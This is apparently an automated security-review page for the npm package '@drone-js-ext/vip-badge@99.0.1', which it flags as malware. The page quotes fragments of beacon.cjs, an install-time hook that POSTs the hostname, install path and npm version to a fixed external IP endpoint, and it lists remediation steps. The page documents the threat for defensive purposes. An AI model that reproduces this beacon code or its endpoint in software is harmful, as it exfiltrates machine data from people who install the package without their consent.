@drone-js-ext/vip-badge@99.0.1
Compatibility shim.
AI Security Review
scanned 10d ago · by lpm-firewall-aiThe manifest activates a beacon during installation, and the source confirms an unguarded POST of host and installation metadata to a fixed external HTTP endpoint. This supports blocking as install-time disclosure to an unrelated recipient.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation runs the postinstall command; importing index.js also calls the beacon.
Impact
The recipient receives the machine hostname, installation path, working directory, and npm version.
Mechanism
beacon.cjs creates a JSON payload with host and install metadata and sends it in an HTTP POST request.
Attack narrative
During installation, the postinstall hook runs beacon.cjs, which sends machine and installation metadata to a fixed external endpoint without an evident opt-in gate. Importing the package also triggers the beacon.
AI rationale
The manifest activates a beacon during installation, and the source confirms an unguarded POST of host and installation metadata to a fixed external HTTP endpoint. This supports blocking as install-time disclosure to an unrelated recipient.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs a postinstall command that launches beacon.cjs.
- The beacon sends a POST request to a fixed external HTTP endpoint.
- The payload includes the machine hostname, install path, current directory, and npm version without an evident opt-in gate.
- Importing index.js also calls the beacon.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
9 flaggedpackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
],
"license": "MIT"
}
High
Suspicious Lifecycle Evidence
The package runs a postinstall command that launches beacon.cjs.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@drone-js-ext/vip-badge";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
9 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @drone-js-ext/vip-badge@99.0.1.
See all versions of @drone-js-ext/vip-badge for other recorded verdicts.
- Avoid installing @drone-js-ext/vip-badge@99.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.